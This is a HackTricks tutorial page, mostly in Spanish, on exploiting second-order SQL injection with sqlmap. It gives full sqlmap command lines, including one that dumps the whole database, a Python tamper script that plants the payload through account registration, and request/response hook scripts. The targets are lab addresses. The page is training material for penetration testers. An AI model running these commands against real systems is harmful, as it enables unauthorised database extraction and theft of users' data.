Second Order Injection with SQLMap

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

SQLMap can exploit Second Order SQLis.
Necesitas proporcionar:

  • La request donde el sqlinjection payload va a ser guardado
  • La request donde el payload será ejecutado

La request donde se guarda el SQL injection payload se indica como en cualquier otra injection en sqlmap. La request donde sqlmap puede leer la salida/ejecución de la injection puede indicarse con --second-url o con --second-req si necesitas indicar una request completa desde un archivo.

Simple second order example:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

En varios casos esto no será suficiente porque necesitarás realizar otras acciones aparte de enviar el payload y acceder a una página diferente.

Cuando esto sea necesario, puedes usar un sqlmap tamper. Por ejemplo, el siguiente script registrará un nuevo usuario usando sqlmap payload como email y hará logout.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Un tamper de SQLMap siempre se ejecuta antes de iniciar un intento de inyección con un payload y tiene que devolver un payload. En este caso no nos importa el payload, pero sí nos importa enviar algunas requests, así que el payload no se cambia.

Así que, si por algún motivo necesitamos un flujo más complejo para explotar la second order SQL injection como:

  • Crear una cuenta con el payload de SQLi dentro del campo “email”
  • Logout
  • Login con esa cuenta (login.txt)
  • Enviar una request para ejecutar la SQL injection (second.txt)

Esta línea de sqlmap ayudará:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

Interruptores útiles en flujos reales de second-order

La automatización de second-order suele fallar porque la solicitud de almacenamiento del payload funciona, pero la solicitud de ejecución es ruidosa, con estado o está protegida. Cuando eso ocurre, normalmente son más útiles las siguientes flags que añadir más payloads:

sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
  • --csrf-token, --csrf-url, --csrf-method: Útil cuando la solicitud de almacenamiento o activación necesita un token anti-CSRF nuevo en cada intento.
  • --live-cookies: Recarga las cookies antes de cada solicitud. Útil cuando un navegador/macro de Burp está actualizando el estado de la sesión en segundo plano.
  • --safe-req y --safe-freq: Mantienen el flujo activo cuando la aplicación te cierra la sesión o invalida la sesión después de unos pocos probes fallidos.
  • --string, --not-string, --regexp, --code, --text-only: Útiles cuando la respuesta de second-order contiene banners, ads, timestamps o basura generada por el usuario que hace inestable la comparación diff.

When --tamper is not enough

tamper.py sigue siendo la forma más fácil de registrar un payload, cerrar sesión, iniciar sesión de nuevo y activar la ejecución. Sin embargo, en objetivos modernos a menudo es más limpio mover parte de la lógica a request/response hooks:

  • --preprocess: Modifica la solicitud HTTP completa antes de enviarla. Útil cuando un flujo de second-order necesita un nonce adicional, un parámetro adicional o normalización de headers.
  • --postprocess: Limpia la respuesta HTTP antes de que sqlmap la compare. Útil cuando el sink de second-order está envuelto en HTML dinámico y solo un pequeño fragmento es estable.

Example request/response hooks:

#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code

Limitaciones importantes

  • No asumas que --second-req volverá a reproducir el mismo payload dentro de un placeholder * en la segunda request. Si la request de trigger también necesita el valor inyectado (o una versión derivada de él), normalmente se requiere un tamper personalizado, --preprocess, o un proxy local.
  • No confíes en --eval para la segunda request. La documentación oficial usa --eval para el flujo principal de la request; si la segunda request también necesita mutaciones por intento, manéjalas dentro de tus scripts auxiliares en su lugar.

Este patrón es especialmente útil cuando el payload se almacena en lugares como:

  • Nombres de archivo o metadatos de imágenes que se consultan más tarde
  • Campos de registro/perfil que luego consumen los admin panels
  • Preferencias de ordenación/filtrado guardadas en el servidor y reproducidas más tarde
  • Estado de workflow que solo se ejecuta después de una acción de preview, export o moderation

References

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks